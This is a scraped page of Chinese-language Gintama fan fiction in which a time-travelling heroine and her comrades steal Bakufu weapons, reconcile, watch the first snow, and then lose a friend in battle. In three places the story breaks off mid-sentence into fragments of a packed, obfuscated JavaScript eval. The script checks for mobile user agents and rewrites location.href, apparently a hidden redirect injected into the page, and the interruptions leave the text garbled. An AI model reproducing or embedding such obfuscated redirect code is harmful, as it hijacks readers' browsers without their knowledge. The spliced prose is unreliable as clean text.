其他都无所谓,唯独这种原则问题不行。战场上哪有不受伤?每次受伤都要质疑我,随便想着送我走的话,我还要不要服众了?好歹也是辰马的副手,下面还有泽木和黑子等人跟着我的。 “那确实不行……金时他们明明对你实力有信心,都敢把你放在前线,但又总是习惯想把你保护起来,不停说服自己你是个弱鸡。”辰马认同地点点头,眼底漾着意味深长的精明,“你在他们身边就只是像个正常人,但说实话,你一个人的时候比他们恐怖多了。” 这是什么好话吗?我没好气地瞪他一眼,他们那种矛盾的想法我能理解,但辰马对我是不是也有误解?我哪里恐怖了? 不过坂本辰马跟我的确是对等的,对我没有那种弱者滤镜,一开始便因为对方的能力而合作,这也是泽木和黑子拒绝鬼兵队的邀请跟着我们的原因。 “不用管他,我有事跟你商量。”我拉着他往外走,“还记得之前在花街听到的交易吗?幕府买的那批武器。” 辰马脸色微沉,他当然记得。幕府高官跟天人购买武器,想要对付谁大家都不敢说出口。一旦被证实,那他们一直以来的奋战还有什么意义? “我在想,我们把那批武器拿过来用吧。” “诶?”辰马眨着豆子眼,“拿,拿过来用?” 灰蓝色的漂亮眸子疑惑地看着我,一副要不要提醒你那是别人打算用来干嘛的样子。确实,那些用途大家心中都有些想法,只是没人说出口。但……我看中的不就是没人敢说出口么? 我扬了扬眉,笑得灿烂,“对啊,我们国家的官府买武器,肯定是打算支持我们这些为了国家奋战的人啊~不然他们还能拿来做什么呢?既然官方都付款了,我们自提就行,不用他们送货上门。” “啊……嘞?”辰马愣了愣。 “幕府的钱不就是百姓的钱,我们为了国家奋战,他们支持我们不是很正常吗?”我眨了眨眼,理直气壮地道。 不管幕府在现阶段有什么打算,但他们还没官宣要对付攘夷志士,那就默认他们是支持攘夷志士对抗天人的。既然这样,他们买武器给我们用不是很理所当然吗? “啊哈哈,啊哈哈哈,这个在理!”辰马一秒反应过来,兴致勃勃地道,“阿月你就应该自己单干哈。啊哈哈,要自提的话,地点和数量都要有概念,我们得安排人手。” “嗯嗯,所以找你商量,走吧,我们找上泽木他们一起。” 据可靠线报,那批武器将会被运送到一个城池里,由天人和幕府派出的杀手一起交接,我们要夺过来,最好时机便是在天人把武器送达城池之前。 由于前线仍有敌袭,这一次只有坂本辰马带队。我们赶了两天时间,兵分三路进行,泽木伪造浪人发动骚乱引天人出手,辰马假装围观对他们的武器有兴趣想要谈判交易,而我和黑子混入飞船里头伺机偷运。 “他们收了幕府的钱,其实不太在意武器是不是真的交给对方。辰马那家伙故意提出双倍购买同一批,他们只会以为遇到肥羊,到时候制造一场骚乱就可以把偷武器的罪推给攘夷志士。这样一来,幕府对攘夷志士的意见就会更大,恰好符合那些天人的期望。” 小心地避开巡逻的狼人,我们一队人轻巧地藏在天花里头。 “这些天人的心思真歹毒……”黑子沉着脸轻道,“但是我们偷走了武器,不也会被幕府记恨吗?” “不……我们要让幕府觉得是天人使诈黑吃黑,然后让这些武器流入黑市……最后去到一些攘夷队伍里头。”我笑着摇摇头,意味深长。 “怎么做?”黑子好奇了。 “计划我已经做好,我们先把武器运走,其他的就看辰马了~”我指了指自己身上官府的黑色武士服,“走吧,夺取这条飞船!” 尽管那三只老是说我脑子不行,但那都是他们妒忌我,有桂和高杉在,作战计划轮不到我来罢了。在辰马的小队里头,哼,我脑子好得很。 分散到不同船仓进行突破,我避开看守的人,摸进他们的控制室,干掉了那些没防备的天人。 这个时代的飞船构造还不算复杂,好歹是经过信息化时代教育,偶尔也跟辰马这个飞船发烧友沟通学习,我很快熟悉了操作。把几个重要区域的监控和门禁弄好后,大家的行动开始了。 设置了自动飞行模式和自爆模式,我不经意打开了飞船的机密文档。里头是天人和幕府的交易记录,还有一些计划。 看到德川定定对攘夷战争肃清的初步建议,我冷笑一声。这种国家,凭什么要我们去保护? 这一刻,我很想像农民起义一样,推翻幕府的政权。只是想到过程要死多少人,我叹口气,目前还做不来这种决定。也许,我们当中只有桂能有这种觉悟。生长于和平年代的我现在还做不到这样决绝,除非我被逼到了绝境。 毁掉这些文档,作用不大,但图个爽。 “阿萤,辰马那边OK了,可以让飞船降落。”黑子出现在门口,朝我比了个手势。 虽然中途各种意外,但最后还算是顺利,运送武器下了飞船后,只载有炮弹的飞船在自动模式下飞向幕府高官所在的城池。很快,这艘船会被击毁,然后坊间会出现武器兜售的传言,幕府高官等不到武器会找天人要,而天人会被告知是幕府的人偷走了武器不认账。 之后的操作,就看辰马和泽木了。 黑子把我们用得上的武器装箱运走,我把剩下的交给了良子。她研究这些东西多年,早就对黑市的流通有深入了解,恰好她的身份如今被瞒得稳妥,最适合做这事。 “现在大概不能流通,等风头过了吧。别担心,这些东西很快就能脱手,到时候我把钱分给你。”离开了父母的庇护,良子飞快地成长起来,一身男装的她英气飒爽。 “先放在你那吧,以后我找你要。”想到自己的情况,我笑着抱了抱她,“呐,良子,如果我没找你,你就想办法把钱给辰马。” “坂本先生?”良子眼神有些古怪,“你跟他……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15104773|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “到时候,你跟他说,这是我入股的本金。”我嘿嘿一笑,坂本辰马是个商人本质的浪子,他的将来大概率不在战场。这样的男人,一定能活下去并且以自己擅长的方式找到出路。 良子不明所以,但也点头应下。 “对了,你的怀表我和三郎已经重装好了,等下次再交给你。” “真的吗?太好了,谢谢~” 跟良子分别后,我和黑子运送属于我们的战利品回程。 山路不算平坦,我们的速度也不快,平静的山路在日照不到的地方有些阴森。 那些不同于树叶随风动的声响极其隐晦地传来,我和黑子等人交换一个眼神,加快了脚步。 握着刀,我隐约觉得有点不对劲,就是一种被偷窥的感觉。 蓦地,数道身影飞身而至,我们迅速进入作战状态。挥舞着长刀迎战,砍翻了一个白色衣服的蒙面天人,一个诡异的身影出现在树林里头。 大斗篷包裹全身,带着斗笠,露在外头的都是写满符咒般文字的缠带,脖子还戴着一串拳头大小的珠子。他没有攻过来,红光从斗笠下透出来,仿佛在观察着什么。 “阿萤!”黑子边砍人边看过来,他也看到那人了。 “撤!”莫名地觉得那人不对劲,我快速地下令,各人加快了手脚往树林里撤退。 忽然,一阵密密麻麻的东西如烟雾般朝我而来,瞬间把我包围。 “别过来!你们先走,我来断后。”厉声喝止黑子冲过来的身势,我挥手让大家先走。所有人极快地整队,黑子看了一眼那边,跟着往林子里跑去。 哎,要是那白痴也能这么信任我多好?我不合时宜地想着,丝毫不敢大意。 “你……”机械般的声音从那个包裹成一团的人头部传来出,“原以为是个不错的容器,没想到本身就是幽灵……真有趣,你没有未来……啊,是因为一切都会被恶鬼吞噬干净,这是你来到这里的诅咒……” 昂?诅咒论? 我挑眉,不好意思,本大人是个唯物主义者+无神论者,连我来到这个世界都是因为那些不靠谱天人的时间机器等无聊科技,还有什么能让我相信有神或者诅咒? 没有未来?这不是很正常吗?我自己就是未来好吧——不要跟一个时光机本机谈未来啊怪人。 仔细地辨认一下,那层如雾般的东西不过是障眼法,如同动态射击般迅速注意到那个隐秘的小巧球状物,我极快地挥刀劈下。 爆炸声细微,圆球一分为二,包围我的紫黑色雾气顿时散去。 我持刀指着那个怪人,“搞科技就别学人装神弄鬼了,装也得有点水平啊,那么明显的高科技产品是要把人都当瞎子吗。” 对方没回答,只是身上的缠带像有生命般飞扬,如触手朝我袭来。 身体不能再受伤出血,我分外小心,长刀极快地飞舞,砍断那些飞扬的缠带。跃起以缠带为路,我迅速攻了过去。 蓦地,那人的身边如同电脑屏幕出现弹窗一样现出一堆符咒,如同雨点射来。 手腕灵活地翻转,飞快打掉那些符咒,我暗暗感激当年在春雨遇到的那些飞针偷袭者。因为他们,我应对这种密集短暂攻击很有经验了。 “阿月——”辰马的声音响彻天际般从天而降,我跃后抬头,他跟桂都赶了过来。 “辰马,假发,小心他的……诶?”人呢?我环顾四周,方才那个怪人已经不见了踪影。 “怎么回事?”桂检查着地上被我砍断的缠带,除了上面写着一些符文就跟普通绷带一样,没什么特别。 “不知道……感觉遇上了奇怪的敌人……”我也不知道该怎么说,那人走得也太干脆了。难道就因为觉得我没未来就不想打了?什么标准啊? 我看着皱着眉头的桂,“你怎么也来了?” 辰马爽朗地笑着搭着桂的肩膀,“假发是来接应我们的。” “不是假发,是桂。”桂没好气地甩开他,少见的脸色严肃,朝我一阵数落,“大家都撤退了,你还在磨蹭什么?不是说了吗?别一个人乱跑……” 我顿时死鱼眼,质疑地睨着他,“这种语气,这种词汇,你是谁?肯定不是我们家温柔的假发,说!是谁附身了?” “不是附身,是本身!”桂骄傲地挺起胸膛。 “什么,假发被附身了?谁干的?”辰马一个箭步凑过去,摸着下巴围着桂观察,上手捏了捏他的脸。 “不管是谁,赶紧从我们家假发身上出来!”我抓了一把泥沙朝桂扔过去,“出来,出来,把假发还给我!” “不是假发,是本身,啊不,是桂!沙子入眼了……”桂捂着脸坚持道。 “笨蛋,你倒是闭眼啊!” “不,武士在什么情况下都不会轻易闭眼的……啊,好痛……” 辰马没辙地压着他,跟我一起给他掀起眼皮查看。 44.和好需要时机 一回到据点,抬头便看到盘腿坐在门口屋顶上的银时和高杉,两人正抱手俯视着我们,脸色黑得像门神一样,视线如X光般把我和桂扫描一遍。 “他们和好了?”我凑过去偷偷问桂,有点不是滋味,高杉是站到银时那边了吗?不是说永远都跟我同一阵线吗? 哼,骗人!男人果然靠不住。 桂一脸无奈,“在战场上打起来,差点被敌人砍了……然后被辰马揍了。” “哇,辰马终于奋起了?把他们揍一顿就和好了?没事吧?”我扫了眼,不见他们身上有血。 “不,有事的是辰马……他们把他当挡箭牌,然后丢出去敌人那边了。” “6……” 最后还是辰马扛下了一切,他能熬过这样的攘夷战争也是实力强大。 “好好好,他们是真爱,我和辰马是意外,可怜的娃……痛!”感叹还没说完,头上被砸了一瓶养乐多,“晋晋,请我喝东西的话说就行了,不用扔的。” “闭嘴喝你的养乐多,蠢货。”高杉冷哼的声音一如既往地别扭。 我抬头看上去,笑容在触及那银发笨蛋后光速收起来,无声走了进门。 “阿萤,你还在生银时的气吗?”桂跟我一起洗了把脸,笑着给我擦发尾上的泥沙。 生气?说实话,我并没有很生气,稍微想想就知道他是为了我好。我只是…… “假发,不是他闹别扭吗?” 明明一句道歉就可以过去的事,他却犟得很,宁愿跟我玩这种冷战。 “他藐视我的实力,又说了过分的话,伤了我自尊,他道个歉不是很应该吗?” “那也是情有可原的。是阿萤你独自乱跑涉险了不是么?”桂轻叹,无奈朝我笑,“你有时候,真的有种不顾别人死活的混账,特别是一个人行动的时候。” “我哪有?”我瞪大眼,冤枉极了。我是有时候想法一起就单独行动,但那叫随机应变不是吗?那种机会转瞬即逝啊。 “银时他……是想保护你。”桂跟我坐在破旧房屋的台阶前,声音温和,“在村塾的时候,就算我们怎么说着要保护你,却始终都是你在保护我们,跟老师一样……甚至最后,也是为了我们才离开吧。所以,现在我们长大了,拥有保护重要之人的实力时,我们不想要你受到任何伤害。尤其是你的身体情况跟普通人不一样……你知道那天银时把你背回来,你全身都是血的样子有多恐怖吗?” 我沉默地坐在他身边,这种跟松阳一样理智的温柔让人无法抗拒。 我知道他们对当年无法保护老师的愧疚有多深刻,如今对同伴的责任感有多重,但是……比起他们对我的保护,我更心疼这些孩子。我在他们这个年纪,还是学习和玩乐为主,连高考也还没到备战的时候,日常就是跟同学们放学后疯狂打球,兴致起就去唱K怒吼,最大的烦恼不过是怎么瞒着师长逃晚自习。 可是他们已挣扎在生死线上,扛起了国家大义,守护家人同伴的重担……他们不过是十多岁的孩子而已啊,在我的标准里甚至还没成年! “哪有长大了,在我眼里你们还是孩子……”我低下头小声咕哝。 “呵呵……看吧,阿萤你还不是把我们当小孩,只想保护我们吗?”桂曲腿坐着,双手撑在后面,仰起头看着逐渐泛黄的天空,“老师被抓后,我们踏入这个战场,大家是为了救回老师,也是为了心中所想的目标,斗志满满。但慢慢地,他们一个个不在了,现在除了明里,松下村塾就只剩下我们了。我们……只是希望阿萤你可以如你所说,活在阳光之下。你只要活蹦乱跳地笑着,对我们来说已经足够了。” 眼眶涌上酸涩,倾身抱着他,我靠在他肩膀,轻声道,“假发,我说过我不需要黎明,因为我在意的不是国家和未来,只是你们而已。我知道他的想法,但是这样会让我觉得自己很没用,我希望能在这里跟你们并肩,而不是拖你们后腿。请不要把我当成弱者,我会努力跟上来的。” 我承认还在习惯他们长大的转变,但他们不也没承认我的进步吗?我们都在慢慢转变彼此角色,适应彼此的变化。 一片安静,许久没听到他回复,我抬起头,那张清秀白净的脸红了一通,游移的眼神,肩膀僵直如石头。 “啊,阿萤,我们是家人但也是男女有别的……那个,压到了……”桂的鼻孔缓缓流出两管鼻血,表情一本正经,小声地道。 昂?我豆子眼慢慢向下看,我侧身靠着他,胸部刚好压在他手臂上。 他慢慢地退开,十分认真地双手搭在我肩膀,眼神真诚又严肃,“阿萤,你也要注意点……男人的脑子里头全都是黄色废料,他们邪恶又深藏污垢……女孩子要有警惕心,不能随便抱着男人……松子姑娘就是因为在公交车上多看了柴田一眼就被缠上了啊……” “所以说,松子姑娘是谁啊,柴田又是谁啊……” “不重要,阿萤你要记得,男人都是肮脏的微生物,决不能轻易相信,不能松懈啊!” “假发……你也是男人,这样说真的没问题吗?”黑线慢慢滑下,我笑眯眯地举起拳头,用力挥下,“说!你到底是何方妖孽,赶紧从我们家假发身体里滚出来!” “不,不是假发……是桂……” 整个人埋进楼梯里的桂气若游丝地道。 刚想踹他两脚,便看到齐藤拉着明里鬼鬼祟祟地往林子里头。我和桂对望一眼,我一手揪起他,轻手轻脚跟了过去。 黄昏的柔光撒落在少年和少女身上,染红了他们的脸颊,一个对视便移开,嘴里说着风马牛不相及的词语,却又忍不住笑,嘴角飞扬。 少年的手在空气中抓了抓,别过头说起近来的战事,语无伦次的,手指蜷曲无数次,每次伸手向隔壁又缩回。 “加油啊,齐藤唔!” 辰马的声音忽然响起又被压制,我吓了一跳转头望去,银时和高杉正顶着一头树枝把辰马压在脚下。 “你们怎么在这里?”桂蹲在树丛里,小声地问道,“偷看不符合武士的正气啊!” “武士的正气也不想被你这样的人拿来说啊。”银时挖了挖鼻孔,不屑地扯着他的长发。 “我不是在偷看,我是在陪阿萤散步而已!”桂说得义正辞严,抢回自己的宝贝头发。 “那我们也不过是在跟辰马切磋而已。”高杉哼了声,说得理所当然。 “闭嘴!”我朝他们比了个嘘的手势。 都是偷看,谁比谁高尚啊? 还好那边的两人沉浸在自己的粉红色泡泡中,没有注意到这边。少女羞红了脸,不着痕迹地走近了一步,她垂着的手背跟少年的相触又分开。 少年脸更红了,手指不受控制地抖动,看得我们紧张极了。 “上啊,明里,我们家的女人绝不能输!”我握着拳头,看得聚精会神,“果然恋爱就是要看别人谈才精彩~” 那种粉红色的气场看得人尸体都暖暖的——虽然还没死。 “说得好像你想谈就有得谈一般,恋爱大神只会青睐怀春的少女,风流债惹太多的25岁混蛋是没有恋爱机会的。”银时斜睨过来,扭曲着声音嘲讽。 我连眼尾都懒得扫向他,气得他顿时炸毛,手一扬就想要搭过来。 “哦哦,拉上了!明里好样的!”蓦地,辰马激动地唰地爬起来,一头顶在银时下巴,痛得他飙泪。 不同于少年的拖拉,明里在对方试探般勾她手指时便大方地握着对方的手了,明亮的大眼含羞带笑,漂亮得如同樱花耀眼。 “太好了~”我和桂感动得双手交握,星星眼都弯了起来,“我最喜欢这种直球派的孩子了~” “啊啊,这两人没救了,赶快把他们分开吧……蠢死了。”银时鄙视着我们,以手肘捅了捅高杉,没得到回应,转头一看,顿时诡笑起来,“哎哟,高杉小少爷,怎么你也一脸感触?昂?别说你也想哦……中二少年也要谈恋爱吗?哪个片场跑过来的?” 高杉二话不说,站起来提脚就往他踩去。 “等等!他在干嘛?” 那边的齐藤少年一个激动,手一勾把少女抱进怀中! 我顿时紧张起来,“这小子不是想一下子上二垒吧?” 才第一次约会,牵手已经很厉害了,他还想要更进一步? “看吧,阿萤,我就说男人脑子里都是黄色废料!”桂一脸认真地指着齐藤,“柴田也会带着礼物拜访松子姑娘的家人,齐藤他居然什么都不做就抱着他的松子!男人太可恶了!” “你也是男人啊假发!柴田又是谁啊!”高杉+银时。 “齐藤这小子看不出挺会的啊,不愧是有个游女姐姐。”辰马摸着下巴笑道。 上次花街明里就搞明白他拒绝自己的理由了,家里有个游女姐姐等着解救,本身又是攘夷志士朝不保夕的……他不想要拖累明里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不管。初雪而已,今年不看明年,明年不成后年,反正十年后会再见…… “是谁说要看初雪啊混蛋……” 是我,但现在不管。 “起来啊,假发他们都在等你。” 没事,他们身体好冷不坏。 “喂……” 我捂着耳埋进被子里,完全无视他。 安静了好一会儿,他抓狂般的声音蓦地响起。 “知道了知道了,阿银投降了,你到底想要什么?阿银都答应,打一顿高杉也好骂一顿假发也好阿银全部都答应啊!可以了吧?呐,呐,别这样啊……大家还能好好玩耍吗?” 我顿了一下,闷闷地小声道,“你还没道歉……” “昂?” 我缓缓地转身,卷着被子看着他,烛火晃动在他烦躁的脸上,影出几分阴暗。 “我妈妈说,闹脾气也没关系,反正最坏的脾气都是给亲近的人。不是所有矛盾都需要正面解决,不是所有吵架都需要调解,只要知道彼此心意的话给个台阶自然就会往下了。” 银时沉默了一下,懒懒地道,“你要走台阶吗?早说嘛……” “但是就跟女孩子开始恋爱一定要告白一样,发完脾气要重新和好的话,一定要道歉,一家人也必须这样。因为干脆直白才不会让重要的人受伤。”我看着他的眼睛,很认真地道,“银时,我知道你想要保护我,但我想要跟你们一起,我很努力了,才有能力在这里不需要单方面的保护。” “切……还差得远……说了不要乱来,明明一个人就只会做蠢事……”他低着头,刘海垂下,看不清神情。 “那大家一起不就行了。”我卷着被子蠕动了一下,催促着他,“快点,银时,跟我道歉……我们和好吧。” 天气太冷了,不适合冷战。这种幼稚的游戏我已经厌烦了。 银时死鱼眼看着我,慢慢站了起来,“啊啊,对不起了……” 我神色一松,下一刻便被扛了起来,瞬间豆子眼,“诶?” “灭哈哈哈哈,道歉这种事不重要啊!”银时把我连人带被子卷着扛起来,“走吧,答应你的事阿银一定会做到!” “我说的道歉不是要做坏事前打招呼啊!坂田银时你个混蛋放我下来——” 45.一起来看初雪 无星无月的天空黑得非常纯粹,点点零星的雪花缓缓从天幕撒落,轻飘飘的,从小变多,给夜色添上一抹安静的美。 作为南方的孩子,我第一次看到初雪,忍不住走到院中,抬手去接那些从天空落下的雪花,看着它在我手中融化成水。 “阿萤,把鞋子穿上啊。”桂操心地给我丢来鞋子,“当心着凉了。” 刚才被扛过来的时候没带上鞋子,他又帮我跑回去拿了,真是乖宝宝。 “没关系,我不会生病的,因为身体时间停滞了~”我穿上鞋子,回头朝他灿笑。 此刻我特别感恩这个身体,不会老不会病,也不会来姨妈,真的好方便啊~ “白痴,这又不是什么好事。”银时抱着头顶的包,没好气地嗤道。 是啊,不是什么好事……我想到江华,笑容微敛。雪花落在地上,很快就会融化,这是一个过程。生命也一样,从开始到结束,这个过程的美好在于路途上遇到的风景和人。 人生最长不过百年,也许就是因为有限才会显得时间珍贵。要是永恒……我还真是无法想象要怎么度过才能称得上美好。 “初雪能一起看真的太好了。你们说这雪能下到可以打雪仗吗?”坂本辰马虽然是被桂吵醒,精神依然十足,曲腿坐在屋顶上欣赏下雪的景致。 “这种程度应该不太行,得过段时间吧。”桂对这些也不太了解,但这场雪看着不大。 “打雪仗啊……我还没试过呢。”甩了甩头,把刘海上的雪花甩掉,我有些遗憾。那年如果没出事,应该能跟大家一起打一场吧。 高杉想起了什么般,脸色微暗,“我们也很久没打了,说好了等上你一起的。” “是吗?”我插着腰笑道,“那得等松阳一起,你们太阴险了,我要找个外援才行。” “诶?阿月,我不行吗?”辰马委屈了。 “三对三才公平啊~”我仰起头朝他招手,笑得自满,“加上他,我们赢定了~” “啊哈哈,胜负欲不要在奇怪的地方出现啊~” “那可不行,我们家的女人可以战死但绝不能输!”一生要强的女人,在哪个战场都不能失败。 “别说这么不吉利的话啊!”高杉利落甩手拍了我脑袋一记。 蒸了几个热腾腾的包子,坐在走廊上裹着被子,看外头的雪越下越大,大家都安静下来,那种安宁又踏实的感觉让我忍不住放弃了雪景,深深地看着这些因为奇迹才出现在我生命中的人。 是啊,奇迹……那么,我能让奇迹再出现一次么? “呐,我之前不是遇到当年杀我的那个人么,”我漫不经心地吃着包子,不经意地说道,“他告诉我松阳在一个监狱要塞里,远离陆地,隶属幕府,但由天道众的杀手看守着,没有人能闯进去。” 高杉三人噗的一下喷出刚入口的热茶,齐齐死鱼眼傻愣地瞪着我,连坂本辰马也吃惊地望过来。 “你……扔炸弹能不能别这么随便?” 吹了吹包子的热气,我没有理会他们的震惊,“他说得那样信誓旦旦,我倒是有个想法。如果不能闯进去,那么……要是能让他们把松阳带出来呢?” 桂下意识地张口想要反驳,但不知道为什么没有出声,眼神里头的思绪复杂得我看不懂。他曾打听过那个要塞,知道的人极少,更别说确认地点闯进去。 高杉和银时一眼不转地望着我,那认真的表情比当年他们上课更严肃。 “幕府的人已经不满这场拖了那么多年的攘夷战争了,情报也有说高官和天人频频互动,幕府大概早就跟天道众的人勾结了,不知道打算做什么,江户里头越来越多天人进驻……”我没有说太明白,但作为攘夷战争的翘楚,他们对时局的理解比我深刻。 四个武士的脸色也沉重起来,之前辰马就质疑过,这样不断失去伙伴,跟同胞互相残杀的战争还有什么意义。 “所以我在想,我们要不要放弃这种零散的战场,攻向江户?” “昂?”四位武士大为震惊,桂更是把装着热茶的杯子跌落在地。 “喂,那可是叛国的行径吧。”高杉冷哼一声,表情有点僵硬。 “瞎说什么啊,江户天人入侵严重,我们去那边驱逐天人,将军大人一定也很期待我们去镇场子的。不然,他得多害怕啊。”我义正辞严地抬头,双眼只直视坐在那边屋顶上的辰马。 “啊哈哈哈,这个理由将军大人他知道吗?哈哈哈哈……”辰马望着我好一会,眸光逐渐亮起来,蓦地笑得捂脸。 我耸了耸肩,只有辰马单纯考虑国家这种东西,我不信他们三只为了松阳没想过这些。整场攘夷战争的初衷是为了国家抵抗天人,但身为武士的他们踏上战场首先是为了松阳,才是为了国家。 而我不一样,我不在乎这个国家,我在乎他们。胧说得没错,在当权者眼中,他们早已罪无可赦,可我无法看着他们为了这种政府等待牺牲和背弃。也许,他们也有这样的想法。 “哼,听起来不错啊……只要忌惮我们的话,老师便安全了。”银时抬手接住落下的雪花,低声笑了。 “想法太天真了,他们也许会用老师威胁我们。”桂冷静地道,“但这样的话,他们就要让我们知晓老师的情况。” “窃国啊,啊哈哈……听起来很厉害,破坏彻底再重建这个国家么?好像比单纯牺牲同伴更有趣。”辰马轻啜着热茶,语气一贯的傻气。 几个少年武士沉默下来,气氛凝重得让我有点不习惯。这种事,谁也没法一下子下决定吧。 “哎呀,别那么认真,我就是随便说说。女人总是胡思乱想胡言乱语的嘛……”我舔了舔手指,不负责任地笑了。 “混蛋——别放弃得那么快啊!”三个拳头砸在我头上,我痛得蹲在地上抱头。 “你们就不能怜香惜玉一些嘛?”我龇牙咧嘴地瞪着他们,好一会才别过头,低声说,“要是有机会见到松阳,我一定要告状,你们学坏了。” 银时一愣,噗嗤一下笑开了,指着我鼓励道,“去去去,别客气,记得跟他说早点回来教训我们。” “老师又要给我们拳头了吗?”高杉曲起一腿踩在走廊上,露出怀念的笑容。 “那也不错啊,”桂笑着拉我起来,“老师肯定站阿萤那边。” 一时间,所有人都安静下来。辰马虽然不是松下村塾的人,但是他也知道松阳对于我们的意义,难得没有出声打扰这份宁静。 雪花缓缓地飘落在地,我抬起头吐了口气,一缕浅浅的白雾在空气中慢慢消散,像是那些不切实际的向往。 见不得气氛越来越低落,我蓦地指着银时,“喂,天然卷,齐藤和明里的赌约,你又输了~” “昂?你还记得这事?不是说年纪大的人记忆力不怎么好的吗?”银时无赖地以肘捅了捅高杉,“矮杉君,是不是你又多事提醒了?毕竟你可是站她那边的哦~” 那装得不行的语调非常欠揍,高杉不负所望地一脚把他踹出走廊,“戒赌吧,从头到尾,你哪次赢她了?卖身契都签三回了,不,加上这个,四回了吧。” 银时捂着屁股站起来炸毛怒指,“那是意外而已!总有一天阿银会赢把大的,让这混蛋把之前赢的全部都吐出来。” “哼,下辈子吧。”我高居临下的俯视他。 “嗯?”银时眉毛一扬,摸着下巴凑过来贱兮兮地笑,“这是要跟阿银约定下辈子吗?你这个诡计多端的女人~” “呵……”这台词有点耳熟,我冷哼一声,想起之前他想要赶我走的话。抬手戳着他的额头,“不用下辈子,我们真正地打一场吧。之前不是很拽地说,要我跟你这个白夜叉大人打一场吗?” 银时脸色顿时尴尬起来,眼珠子左右乱转,两手食指无措地对了起来,“啊,那个,那个……阿银说的是百夜擦那小子,对,是说让你跟他来一场,啊哈哈,啊哈哈哈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不可以,没我们把关绝对不承认啊,达咩!”桂双手在胸前打了个叉,十分认真地对我劝道,“男人就如同肮脏的兜裆布,脑子里一堆黄色废料的年轻男人哪怕多看一眼都能脑补出很多19禁画面,阿萤你根本不知道他们的内里有多少屎!” “你也是男人啊假发!”高杉+银时+辰马。 “想太多了,”我随意地挥挥手,敷衍道,“这里谁比你们更优秀?” 是敷衍,但也是实话。这个军营里头确实没比高杉更好看,比桂更漂亮,比银时更帅,比辰马更有钱的。 “那倒是。”Joy 4 自信脸。 我一阵无语,你们倒是不谦虚啊。 “反正你都输了,之前又没说赌注是什么,那当然就是胜利者说了算,你就签了吧~” 我拿他的手沾了些鼻血,按在纸上。 “切,那算什么,你别做混事就行……阿银对你要求也不高了。”银时耸耸肩,没精打采地嘟囔。 这口气,都快把我当小孩了。明明我才是年纪最大的那个好吧,偏偏高杉和桂海一脸认同地点点头。 “没事,你不行而已,我和假发会坚守底线。”高杉轻蔑地俯视他。 “不是假发,是桂。”桂低笑一声,“你们都不行,我会好好看着她的。” “你俩才最不应该混一起!”高杉+银时。 “辰马,回去睡啊,当心着凉。”桂没撤地拖着呼呼大睡的辰马的脚,体贴地把他拖进房间以防我方未到战争胜利就折算一员大将。 “走吧走吧,雪看过了,觉还得睡啊。” 我心满意足地收好契约,回望一眼外头飘扬的雪花,笑着跟上他们。 以我所有的虔诚,向曾不相信的神明祈求,愿此生,还会有机会这样跟他们一起看初雪…… 我佛慈悲,哈利路亚,阿门。 46.战争最是残酷 这一战,是我来到这里之后最惨烈的,敌人不仅仅是天人,还有人类。 天昏地暗,树林内,火光冲天,树林之外,杀声震耳欲聋。我所踏足的战场,一片片尸骸倒下,人类的,天人的,被火焚烧后发出难闻的焦臭,枯毁的树木受不住火烤,纷纷砸下,落在尚在挣扎的人身体上。 我带着第四分队的人随着辰马杀向前方,不断挥舞着长刀砍杀疯狂攻击的敌人,不断把尚能救的同伴扯出堆叠的尸体,交给负责的同伴带往后方。 我们所有人都尽力了,然而敌人的飞船太多,哪怕是银时和高杉已带队尽量摧毁,仍有不少人死在炸弹空袭中。 交缠的战况在晨光来临之际才有了转机,这个漫长的黑夜以鬼兵队和银时配合把敌人主帅的战舰击毁而结束。 我军伤亡惨重,几乎三分之一的志士牺牲,退守到附近山上的一座庙宇中。原本据点遭到了炸毁,不少撤退不及时的医疗队同伴留在了那里。 我和泽木相互搭着肩膀走在稀疏的部队中,肩膀的伤口灼热刺痛,尽管马上包扎止血依然有些头晕,大脑更是杀得进入停机状态,只是下意识地四处张望,一时间却不知道自己想要看到什么。 JOY4绝对的安全吧……杀敌途中看到辰马和桂还特别提醒我注意,因为这个泽木还差点替我挨了一刀,还好我反应快把人拉开。 垂眸看到沿途敌人中人类的尸体,我咬了咬牙,这种战争……除了牺牲,还有什么意义? 我望了望万里无云的蓝天,陷入无力的迷惘。 顺着人群的方向走,忽然听到一声悲切的哀鸣,那破碎的哀嚎让我一阵心惊。 远远看到一群人围着什么,哭声从里面传出来,有点耳熟。我脚步沉重,呼吸莫名地急促,下意识抗拒走过去。 泽木看了我一眼,拍拍我的肩膀,自己走了过去。身边陆续有人经过我的身边,断断续续地听到银时和桂还没消息,高杉和辰马倒是回来了。 他们没事……可是为什么我还是觉得很慌乱,尤其是那边的人回望过来的眼神,让我莫名地觉得恐惧。 “阿萤,受伤了吗?”思绪凌乱之际,就听到高杉焦急的声音,随即手被拉着。 我愣愣地抬头,入目的面容精致漂亮,可惜满脸都是尘土和血迹,一双幽绿的眸子带了一丝哀戚。 “晋晋……你没事太好了……”那边围着的都是鬼兵队的人,我好害怕……颤抖着手拉着他的袖子,我噎了噎口水,问不出话。 他的手覆上我的手背,用力握紧。 这一刻,什么坚强淡定都是虚的,我很害怕,也很不安,恨不得大家都蹦到眼前让我知道他们好好的。 “阿萤……之前的据点被炸了,明里她……没能走出来。” 